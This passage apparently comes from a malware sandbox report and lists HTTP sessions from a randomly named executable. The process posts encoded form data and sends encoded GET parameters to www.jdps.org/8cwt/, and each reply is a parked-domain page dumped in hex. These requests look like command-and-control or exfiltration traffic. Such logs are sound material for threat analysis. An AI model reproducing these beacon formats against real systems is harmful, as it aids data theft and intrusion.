6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 2c 20 64 69 76 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 [TRUNCATED] Data Ascii: 3151<!DOCTYPE html><html><head> <link rel="icon" href="data:,"> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>NameBright - Coming Soon</title> <style type="text/css"> body, div { box-sizing: border-box; } body { background-color: #f7f7f7; font: 18px sans-serif; } .page { display: flex; flex-direction: column; min-height: 100vh; height: 100%; } .wrapper { display: flex; flex-direction: column; min-height: 100vh; height: 100%; align-items: center; justify-content: center; } .container { position: relative; display: flex; flex-direction: column; align-items: center; justify-content: center; width: 90vw; [TRUNCATED]
Jun 4, 2024 14:18:42.917686939 CEST	1289	IN	Data Raw: 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 36 34 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 Data Ascii: min-height: 640px; background: #ffffff; border-radius: 1.5%; padding: 50px 5vw; } .main { display: flex; flex-direction: column; align-items: ce
Jun 4, 2024 14:18:42.917711020 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 68 31 3e 6a 64 70 73 2e 6f 72 67 20 69 73 20 63 6f 6d 69 6e 67 20 73 6f 6f 6e 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 54 68 69 Data Ascii: <h1>jdps.org is coming soon</h1> </div> <div>This domain is managed at <br> <a href="//www.namebright.com" id="logo" target="_parent" alt="NameBright.com - Next Generation Domain Registration"
Jun 4, 2024 14:18:42.917726040 CEST	1289	IN	Data Raw: 37 39 2e 34 34 37 31 33 2c 37 39 2e 34 34 37 31 33 2c 30 2c 30 2c 30 2d 31 33 2e 36 34 38 37 2e 39 37 35 37 76 36 30 2e 31 37 34 34 33 61 32 2e 38 30 34 35 37 2c 32 2e 38 30 34 35 37 2c 30 2c 30 2c 31 2d 32 2e 36 34 38 31 38 2c 32 2e 39 32 37 37 Data Ascii: 79.44713,79.44713,0,0,0-13.6487.9757v60.17443a2.80457,2.80457,0,0,1-2.64818,2.92778H446.56779a2.91881,2.91881,0,0,1-2.78613-2.92778V78.77935c0-1.81043,1.25192-3.34127,3.76218-4.17768,8.91384-2.92408,16.29653-4.03973,28.27274-4.03973,1.67249,0,
Jun 4, 2024 14:18:42.917737961 CEST	1289	IN	Data Raw: 2e 38 33 33 38 39 2c 31 37 37 2e 39 35 39 32 34 5a 4d 35 36 36 2e 37 38 35 38 2c 38 36 2e 38 35 38 38 32 61 37 36 2e 33 36 38 33 35 2c 37 36 2e 33 36 38 33 35 2c 30 2c 30 2c 30 2d 31 33 2e 33 36 39 34 34 2d 31 2e 32 35 35 32 39 63 2d 31 31 2e 39 Data Ascii: .83389,177.95924ZM566.7858,86.85882a76.36835,76.36835,0,0,0-13.36944-1.25529c-11.98261,0-14.90668,8.5017-14.90668,19.92245v10.726c0,11.42072,2.92407,19.92076,14.90668,19.92076a116.75844,116.75844,0,0,0,13.36944-1.117Zm93.44986,63.24184h-12.814
Jun 4, 2024 14:18:42.917748928 CEST	1289	IN	Data Raw: 32 2e 38 31 37 2c 32 32 2e 31 39 39 31 39 61 31 2e 32 34 35 33 37 2c 31 2e 32 34 35 33 37 2c 30 2c 30 2c 31 2d 31 2e 37 30 32 30 39 2e 34 35 38 35 38 4c 35 30 39 2e 34 35 38 2c 33 30 2e 30 30 34 31 32 61 31 2e 32 34 36 31 36 2c 31 2e 32 34 36 31 Data Ascii: 2.817,22.19919a1.24537,1.24537,0,0,1-1.70209.45858L509.458,30.00412a1.24616,1.24616,0,0,1-.45656-1.70176l12.814-22.19784A1.30157,1.30157,0,0,1,523.55018,5.59211Z" class="cls-2"></path><path d="M543.79932,23.73541l2.86856,4.971a1.305,1.305,0,0,
Jun 4, 2024 14:18:42.917762041 CEST	1289	IN	Data Raw: 31 2c 30 2c 30 2c 31 2c 2e 34 35 33 35 33 2d 31 2e 37 30 32 30 39 6c 34 2e 39 37 31 2d 32 2e 38 36 38 32 32 61 31 2e 32 34 38 39 32 2c 31 2e 32 34 38 39 32 2c 30 2c 30 2c 31 2c 31 2e 37 30 32 31 2e 34 35 38 32 34 6c 31 32 2e 38 32 30 33 36 2c 32 Data Ascii: 1,0,0,1,.45353-1.70209l4.971-2.86822a1.24892,1.24892,0,0,1,1.7021.45824l12.82036,22.19616A1.306,1.306,0,0,1,490.17148,30.00412Z" class="cls-2"></path><path d="M502.683,28.189h-5.73981a1.3064,1.3064,0,0,1-1.2452-1.30947V1.24856A1.25352,1.25352,
Jun 4, 2024 14:18:42.917773008 CEST	1289	IN	Data Raw: 35 32 2e 38 31 36 34 39 2c 31 34 37 2e 35 39 33 34 34 5a 4d 31 33 38 2e 31 38 38 37 33 2c 38 36 2e 35 38 31 32 35 61 38 30 2e 38 33 36 33 33 2c 38 30 2e 38 33 36 33 33 2c 30 2c 30 2c 30 2d 31 33 2e 33 37 30 37 39 2d 2e 39 37 37 37 32 63 2d 31 31 Data Ascii: 52.81649,147.59344ZM138.18873,86.58125a80.83633,80.83633,0,0,0-13.37079-.97772c-11.97958,0-14.907,8.5017-14.907,19.92245v10.726c0,11.42072,2.92744,19.92076,14.907,19.92076a81.24455,81.24455,0,0,0,13.37079-.9757Z" class="cls-2"></path><path d="
Jun 4, 2024 14:18:42.917783976 CEST	1289	IN	Data Raw: 36 33 2d 33 33 2e 37 31 30 34 34 2d 33 34 2e 39 36 32 33 35 56 31 30 35 2e 39 34 33 35 31 63 30 2d 32 31 2e 37 32 39 35 31 2c 31 32 2e 31 31 37 31 39 2d 33 35 2e 33 38 31 35 37 2c 33 33 2e 34 32 39 35 2d 33 35 2e 33 38 31 35 37 2c 32 31 2e 34 35 Data Ascii: 63-33.71044-34.96235V105.94351c0-21.72951,12.11719-35.38157,33.4295-35.38157,21.45363,0,33.15362,14.62776,33.15362,35.38157v7.7982C347.291,115.97606,346.45491,117.228,344.50486,117.228Zm-15.73972-13.65374c0-10.86391-5.98978-17.1343-14.62777-17
Jun 4, 2024 14:18:42.917795897 CEST	1180	IN	Data Raw: 31 39 2e 34 31 38 31 31 2d 32 30 2e 32 33 33 73 31 39 2e 34 32 31 34 38 2c 38 2e 36 31 35 31 2c 31 39 2e 34 32 31 34 38 2c 32 30 2e 32 33 33 56 31 33 30 2e 35 31 38 43 38 31 38 2e 39 38 30 37 2c 31 34 32 2e 31 33 39 36 32 2c 38 31 32 2e 33 31 34 Data Ascii: 19.41811-20.233s19.42148,8.6151,19.42148,20.233V130.518C818.9807,142.13962,812.314,150.74765,799.55922,150.74765Zm8.69383-26.81055c0-6.66-3.00617-10.97058-8.69383-10.97058-5.68732,0-8.69382,4.31058-8.69382,10.97058V130.518c0,6.66336,3.0065,10.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.30	49875	34.232.203.70	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:18:45.443568945 CEST	1611	OUT	POST /8cwt/ HTTP/1.1 Host: www.jdps.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.jdps.org Referer: http://www.jdps.org/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 1139 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 78 64 48 75 35 66 43 2f 38 75 45 7a 48 68 2f 63 32 62 4b 5a 4a 72 57 71 30 6f 75 36 6b 34 59 52 6e 4b 77 61 6e 41 2b 6c 34 2b 36 66 43 55 66 6e 54 55 75 34 52 6a 37 66 55 48 62 6a 68 31 50 4f 4c 4b 48 6f 51 50 4b 74 6d 63 50 39 41 47 38 67 53 41 61 59 6d 51 57 36 63 6f 6c 36 75 55 30 2b 2b 4b 58 56 76 56 36 50 58 43 48 77 6e 72 33 4f 71 53 53 78 45 65 53 4c 4a 7a 4e 53 38 35 74 6f 49 59 31 66 44 46 68 4e 51 4b 4e 6e 74 71 4e 48 47 35 49 59 2f 73 35 45 4b 62 74 45 58 35 58 43 2b 61 49 6f 56 53 47 58 77 70 59 32 6e 79 37 37 6c 6a 49 49 33 73 63 62 54 59 53 43 7a 67 46 38 4a 4a 73 69 6c 64 35 6b 6f 6e 31 44 42 4d 75 49 4e 43 61 6c 58 64 35 42 42 61 45 63 2b 4f 47 6e 54 73 31 30 66 4e 50 30 61 46 52 6a 2f 76 63 38 48 30 63 36 6a 4c 53 66 51 68 6b 77 79 74 77 47 4c 67 61 77 70 47 48 63 41 50 36 54 39 44 67 41 55 79 43 4b 76 6c 49 54 43 6b 45 41 72 6f 75 4b 50 50 45 38 33 70 6c 49 57 76 57 52 6f 4c 4b 5a 7a 37 4e 4a 49 2f 7a 49 41 4e 62 64 4e 6c 37 69 6c 64 77 44 6e 4d 43 33 47 64 4c [TRUNCATED] Data Ascii: 24eluX=xdHu5fC/8uEzHh/c2bKZJrWq0ou6k4YRnKwanA+l4+6fCUfnTUu4Rj7fUHbjh1POLKHoQPKtmcP9AG8gSAaYmQW6col6uU0++KXVvV6PXCHwnr3OqSSxEeSLJzNS85toIY1fDFhNQKNntqNHG5IY/s5EKbtEX5XC+aIoVSGXwpY2ny77ljII3scbTYSCzgF8JJsild5kon1DBMuINCalXd5BBaEc+OGnTs10fNP0aFRj/vc8H0c6jLSfQhkwytwGLgawpGHcAP6T9DgAUyCKvlITCkEArouKPPE83plIWvWRoLKZz7NJI/zIANbdNl7ildwDnMC3GdL5hP5pb+lGCXzjEiClMO1kc8kFYx8UmZaIC7dX++ygpS43khoMQhW6gCGk/yV7bsV2L+TLVwiL//K3LfKdhGzj1P1eWszyz3UUk4Z8t8dyCy67PBYYjZYpA4TnK0U1xydhOo4YhRlVedEfpJH+v5oAUoG9G1KUz+l7fW2lVOyirVGI1qtWtX5rYvNmPCe4Nywx5MFMhQRraC0S1cNXRUTohdi18AsrKL0QLT8EmRxqcyMrU65HW6zBgKDTlzhz0lDB/anSZ7uS7yTHrAD8sSW1ThXOVD/iI0+KMQhC9BJK8YOcU7Zvv8EBkgJRgBwDY337mvXf4LW8qOmBR1V8rN+LFhnQ4LGJbcTs/F/rUINZJlaerzMma32/xIfTQjneGm2p26M1yC1R2fpwXHAWSskIzXBEjBs6OniaCFvccXv41QNT4x+jd8OoeMciaso2byGftLdutIhcbxpUSU+16XMvF3DxOerb1vhsIPC06DHktZY7qu8UbJ02MoUcG3StLz2QqbCYHHfO5VndbjKJE7M5dO3p3KIcPGeUsTZCh1iGtuFLyKqbMjhsuiM5IW0BKug20JOO3eI9X0b0H3YLEMrV6/Z30pWkEvC2icZbB6LH694lOyGcPzZYx4blpaWkblcw/gYz37neWCQ8K0rf0WAXCGmvi0Uqym5NT [TRUNCATED]
Jun 4, 2024 14:18:45.577114105 CEST	1289	IN	HTTP/1.1 200 OK Date: Tue, 04 Jun 2024 12:18:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 31 35 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 2c 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 61 6d 65 42 72 69 67 68 74 20 2d 20 43 6f 6d 69 6e 67 20 53 6f 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 2c 20 64 69 76 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 [TRUNCATED] Data Ascii: 3151<!DOCTYPE html><html><head> <link rel="icon" href="data:,"> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>NameBright - Coming Soon</title> <style type="text/css"> body, div { box-sizing: border-box; } body { background-color: #f7f7f7; font: 18px sans-serif; } .page { display: flex; flex-direction: column; min-height: 100vh; height: 100%; } .wrapper { display: flex; flex-direction: column; min-height: 100vh; height: 100%; align-items: center; justify-content: center; } .container { position: relative; display: flex; flex-direction: column; align-items: center; justify-content: center; width: 90vw; [TRUNCATED]
Jun 4, 2024 14:18:45.577306032 CEST	1289	IN	Data Raw: 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 36 34 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 Data Ascii: min-height: 640px; background: #ffffff; border-radius: 1.5%; padding: 50px 5vw; } .main { display: flex; flex-direction: column; align-items: ce
Jun 4, 2024 14:18:45.577318907 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 68 31 3e 6a 64 70 73 2e 6f 72 67 20 69 73 20 63 6f 6d 69 6e 67 20 73 6f 6f 6e 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 54 68 69 Data Ascii: <h1>jdps.org is coming soon</h1> </div> <div>This domain is managed at <br> <a href="//www.namebright.com" id="logo" target="_parent" alt="NameBright.com - Next Generation Domain Registration"
Jun 4, 2024 14:18:45.577331066 CEST	1289	IN	Data Raw: 37 39 2e 34 34 37 31 33 2c 37 39 2e 34 34 37 31 33 2c 30 2c 30 2c 30 2d 31 33 2e 36 34 38 37 2e 39 37 35 37 76 36 30 2e 31 37 34 34 33 61 32 2e 38 30 34 35 37 2c 32 2e 38 30 34 35 37 2c 30 2c 30 2c 31 2d 32 2e 36 34 38 31 38 2c 32 2e 39 32 37 37 Data Ascii: 79.44713,79.44713,0,0,0-13.6487.9757v60.17443a2.80457,2.80457,0,0,1-2.64818,2.92778H446.56779a2.91881,2.91881,0,0,1-2.78613-2.92778V78.77935c0-1.81043,1.25192-3.34127,3.76218-4.17768,8.91384-2.92408,16.29653-4.03973,28.27274-4.03973,1.67249,0,
Jun 4, 2024 14:18:45.577356100 CEST	1289	IN	Data Raw: 2e 38 33 33 38 39 2c 31 37 37 2e 39 35 39 32 34 5a 4d 35 36 36 2e 37 38 35 38 2c 38 36 2e 38 35 38 38 32 61 37 36 2e 33 36 38 33 35 2c 37 36 2e 33 36 38 33 35 2c 30 2c 30 2c 30 2d 31 33 2e 33 36 39 34 34 2d 31 2e 32 35 35 32 39 63 2d 31 31 2e 39 Data Ascii: .83389,177.95924ZM566.7858,86.85882a76.36835,76.36835,0,0,0-13.36944-1.25529c-11.98261,0-14.90668,8.5017-14.90668,19.92245v10.726c0,11.42072,2.92407,19.92076,14.90668,19.92076a116.75844,116.75844,0,0,0,13.36944-1.117Zm93.44986,63.24184h-12.814
Jun 4, 2024 14:18:45.577369928 CEST	1289	IN	Data Raw: 32 2e 38 31 37 2c 32 32 2e 31 39 39 31 39 61 31 2e 32 34 35 33 37 2c 31 2e 32 34 35 33 37 2c 30 2c 30 2c 31 2d 31 2e 37 30 32 30 39 2e 34 35 38 35 38 4c 35 30 39 2e 34 35 38 2c 33 30 2e 30 30 34 31 32 61 31 2e 32 34 36 31 36 2c 31 2e 32 34 36 31 Data Ascii: 2.817,22.19919a1.24537,1.24537,0,0,1-1.70209.45858L509.458,30.00412a1.24616,1.24616,0,0,1-.45656-1.70176l12.814-22.19784A1.30157,1.30157,0,0,1,523.55018,5.59211Z" class="cls-2"></path><path d="M543.79932,23.73541l2.86856,4.971a1.305,1.305,0,0,
Jun 4, 2024 14:18:45.577380896 CEST	1289	IN	Data Raw: 31 2c 30 2c 30 2c 31 2c 2e 34 35 33 35 33 2d 31 2e 37 30 32 30 39 6c 34 2e 39 37 31 2d 32 2e 38 36 38 32 32 61 31 2e 32 34 38 39 32 2c 31 2e 32 34 38 39 32 2c 30 2c 30 2c 31 2c 31 2e 37 30 32 31 2e 34 35 38 32 34 6c 31 32 2e 38 32 30 33 36 2c 32 Data Ascii: 1,0,0,1,.45353-1.70209l4.971-2.86822a1.24892,1.24892,0,0,1,1.7021.45824l12.82036,22.19616A1.306,1.306,0,0,1,490.17148,30.00412Z" class="cls-2"></path><path d="M502.683,28.189h-5.73981a1.3064,1.3064,0,0,1-1.2452-1.30947V1.24856A1.25352,1.25352,
Jun 4, 2024 14:18:45.577392101 CEST	1289	IN	Data Raw: 35 32 2e 38 31 36 34 39 2c 31 34 37 2e 35 39 33 34 34 5a 4d 31 33 38 2e 31 38 38 37 33 2c 38 36 2e 35 38 31 32 35 61 38 30 2e 38 33 36 33 33 2c 38 30 2e 38 33 36 33 33 2c 30 2c 30 2c 30 2d 31 33 2e 33 37 30 37 39 2d 2e 39 37 37 37 32 63 2d 31 31 Data Ascii: 52.81649,147.59344ZM138.18873,86.58125a80.83633,80.83633,0,0,0-13.37079-.97772c-11.97958,0-14.907,8.5017-14.907,19.92245v10.726c0,11.42072,2.92744,19.92076,14.907,19.92076a81.24455,81.24455,0,0,0,13.37079-.9757Z" class="cls-2"></path><path d="
Jun 4, 2024 14:18:45.577403069 CEST	1289	IN	Data Raw: 36 33 2d 33 33 2e 37 31 30 34 34 2d 33 34 2e 39 36 32 33 35 56 31 30 35 2e 39 34 33 35 31 63 30 2d 32 31 2e 37 32 39 35 31 2c 31 32 2e 31 31 37 31 39 2d 33 35 2e 33 38 31 35 37 2c 33 33 2e 34 32 39 35 2d 33 35 2e 33 38 31 35 37 2c 32 31 2e 34 35 Data Ascii: 63-33.71044-34.96235V105.94351c0-21.72951,12.11719-35.38157,33.4295-35.38157,21.45363,0,33.15362,14.62776,33.15362,35.38157v7.7982C347.291,115.97606,346.45491,117.228,344.50486,117.228Zm-15.73972-13.65374c0-10.86391-5.98978-17.1343-14.62777-17
Jun 4, 2024 14:18:45.577605963 CEST	1180	IN	Data Raw: 31 39 2e 34 31 38 31 31 2d 32 30 2e 32 33 33 73 31 39 2e 34 32 31 34 38 2c 38 2e 36 31 35 31 2c 31 39 2e 34 32 31 34 38 2c 32 30 2e 32 33 33 56 31 33 30 2e 35 31 38 43 38 31 38 2e 39 38 30 37 2c 31 34 32 2e 31 33 39 36 32 2c 38 31 32 2e 33 31 34 Data Ascii: 19.41811-20.233s19.42148,8.6151,19.42148,20.233V130.518C818.9807,142.13962,812.314,150.74765,799.55922,150.74765Zm8.69383-26.81055c0-6.66-3.00617-10.97058-8.69383-10.97058-5.68732,0-8.69382,4.31058-8.69382,10.97058V130.518c0,6.66336,3.0065,10.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.30	49876	34.232.203.70	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:18:48.102632999 CEST	423	OUT	GET /8cwt/?24eluX=8fvO6riwiNdGIieTsu/tMoq1+6O9galEvK05+Szv2OjuFl7+WHHAVTXMU1G96mraFYLMRcvsh+SJXHUnSCy+mSK3fOJTqBcOyoKopFv0eDv6jorQ0HypEvo=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.jdps.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:18:48.235074043 CEST	1289	IN	HTTP/1.1 200 OK Date: Tue, 04 Jun 2024 12:18:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 31 35 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 2c 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 61 6d 65 42 72 69 67 68 74 20 2d 20 43 6f 6d 69 6e 67 20 53 6f 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 2c 20 64 69 76 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 [TRUNCATED] Data Ascii: 3151<!DOCTYPE html><html><head> <link rel="icon" href="data:,"> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>NameBright - Coming Soon</title> <style type="text/css"> body, div { box-sizing: border-box; } body { background-color: #f7f7f7; font: 18px sans-serif; } .page { display: flex; flex-direction: column; min-height: 100vh; height: 100%; } .wrapper { display: flex; flex-direction: column; min-height: 100vh; height: 100%; align-items: center; justify-content: center; } .container { position: relative; display: flex; flex-direction: column; align-items: center; justify-content: center; width: 90vw; [TRUNCATED]
Jun 4, 2024 14:18:48.235214949 CEST	1289	IN	Data Raw: 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 36 34 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 Data Ascii: min-height: 640px; background: #ffffff; border-radius: 1.5%; padding: 50px 5vw; } .main { display: flex; flex-direction: column; align-items: ce
Jun 4, 2024 14:18:48.235229015 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 68 31 3e 6a 64 70 73 2e 6f 72 67 20 69 73 20 63 6f 6d 69 6e 67 20 73 6f 6f 6e 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 54 68 69 Data Ascii: <h1>jdps.org is coming soon</h1> </div> <div>This domain is managed at <br> <a href="//www.namebright.com" id="logo" target="_parent" alt="NameBright.com - Next Generation Domain Registration"
Jun 4, 2024 14:18:48.235243082 CEST	1289	IN	Data Raw: 37 39 2e 34 34 37 31 33 2c 37 39 2e 34 34 37 31 33 2c 30 2c 30 2c 30 2d 31 33 2e 36 34 38 37 2e 39 37 35 37 76 36 30 2e 31 37 34 34 33 61 32 2e 38 30 34 35 37 2c 32 2e 38 30 34 35 37 2c 30 2c 30 2c 31 2d 32 2e 36 34 38 31 38 2c 32 2e 39 32 37 37 Data Ascii: 79.44713,79.44713,0,0,0-13.6487.9757v60.17443a2.80457,2.80457,0,0,1-2.64818,2.92778H446.56779a2.91881,2.91881,0,0,1-2.78613-2.92778V78.77935c0-1.81043,1.25192-3.34127,3.76218-4.17768,8.91384-2.92408,16.29653-4.03973,28.27274-4.03973,1.67249,0,
Jun 4, 2024 14:18:48.235255003 CEST	1289	IN	Data Raw: 2e 38 33 33 38 39 2c 31 37 37 2e 39 35 39 32 34 5a 4d 35 36 36 2e 37 38 35 38 2c 38 36 2e 38 35 38 38 32 61 37 36 2e 33 36 38 33 35 2c 37 36 2e 33 36 38 33 35 2c 30 2c 30 2c 30 2d 31 33 2e 33 36 39 34 34 2d 31 2e 32 35 35 32 39 63 2d 31 31 2e 39 Data Ascii: .83389,177.95924ZM566.7858,86.85882a76.36835,76.36835,0,0,0-13.36944-1.25529c-11.98261,0-14.90668,8.5017-14.90668,19.92245v10.726c0,11.42072,2.92407,19.92076,14.90668,19.92076a116.75844,116.75844,0,0,0,13.36944-1.117Zm93.44986,63.24184h-12.814
Jun 4, 2024 14:18:48.235265970 CEST	1289	IN	Data Raw: 32 2e 38 31 37 2c 32 32 2e 31 39 39 31 39 61 31 2e 32 34 35 33 37 2c 31 2e 32 34 35 33 37 2c 30 2c 30 2c 31 2d 31 2e 37 30 32 30 39 2e 34 35 38 35 38 4c 35 30 39 2e 34 35 38 2c 33 30 2e 30 30 34 31 32 61 31 2e 32 34 36 31 36 2c 31 2e 32 34 36 31 Data Ascii: 2.817,22.19919a1.24537,1.24537,0,0,1-1.70209.45858L509.458,30.00412a1.24616,1.24616,0,0,1-.45656-1.70176l12.814-22.19784A1.30157,1.30157,0,0,1,523.55018,5.59211Z" class="cls-2"></path><path d="M543.79932,23.73541l2.86856,4.971a1.305,1.305,0,0,
Jun 4, 2024 14:18:48.235276937 CEST	1289	IN	Data Raw: 31 2c 30 2c 30 2c 31 2c 2e 34 35 33 35 33 2d 31 2e 37 30 32 30 39 6c 34 2e 39 37 31 2d 32 2e 38 36 38 32 32 61 31 2e 32 34 38 39 32 2c 31 2e 32 34 38 39 32 2c 30 2c 30 2c 31 2c 31 2e 37 30 32 31 2e 34 35 38 32 34 6c 31 32 2e 38 32 30 33 36 2c 32 Data Ascii: 1,0,0,1,.45353-1.70209l4.971-2.86822a1.24892,1.24892,0,0,1,1.7021.45824l12.82036,22.19616A1.306,1.306,0,0,1,490.17148,30.00412Z" class="cls-2"></path><path d="M502.683,28.189h-5.73981a1.3064,1.3064,0,0,1-1.2452-1.30947V1.24856A1.25352,1.25352,
Jun 4, 2024 14:18:48.235290051 CEST	1289	IN	Data Raw: 35 32 2e 38 31 36 34 39 2c 31 34 37 2e 35 39 33 34 34 5a 4d 31 33 38 2e 31 38 38 37 33 2c 38 36 2e 35 38 31 32 35 61 38 30 2e 38 33 36 33 33 2c 38 30 2e 38 33 36 33 33 2c 30 2c 30 2c 30 2d 31 33 2e 33 37 30 37 39 2d 2e 39 37 37 37 32 63 2d 31 31 Data Ascii: 52.81649,147.59344ZM138.18873,86.58125a80.83633,80.83633,0,0,0-13.37079-.97772c-11.97958,0-14.907,8.5017-14.907,19.92245v10.726c0,11.42072,2.92744,19.92076,14.907,19.92076a81.24455,81.24455,0,0,0,13.37079-.9757Z" class="cls-2"></path><path d="
Jun 4, 2024 14:18:48.235368967 CEST	1289	IN	Data Raw: 36 33 2d 33 33 2e 37 31 30 34 34 2d 33 34 2e 39 36 32 33 35 56 31 30 35 2e 39 34 33 35 31 63 30 2d 32 31 2e 37 32 39 35 31 2c 31 32 2e 31 31 37 31 39 2d 33 35 2e 33 38 31 35 37 2c 33 33 2e 34 32 39 35 2d 33 35 2e 33 38 31 35 37 2c 32 31 2e 34 35 Data Ascii: 63-33.71044-34.96235V105.94351c0-21.72951,12.11719-35.38157,33.4295-35.38157,21.45363,0,33.15362,14.62776,33.15362,35.38157v7.7982C347.291,115.97606,346.45491,117.228,344.50486,117.228Zm-15.73972-13.65374c0-10.86391-5.98978-17.1343-14.62777-17
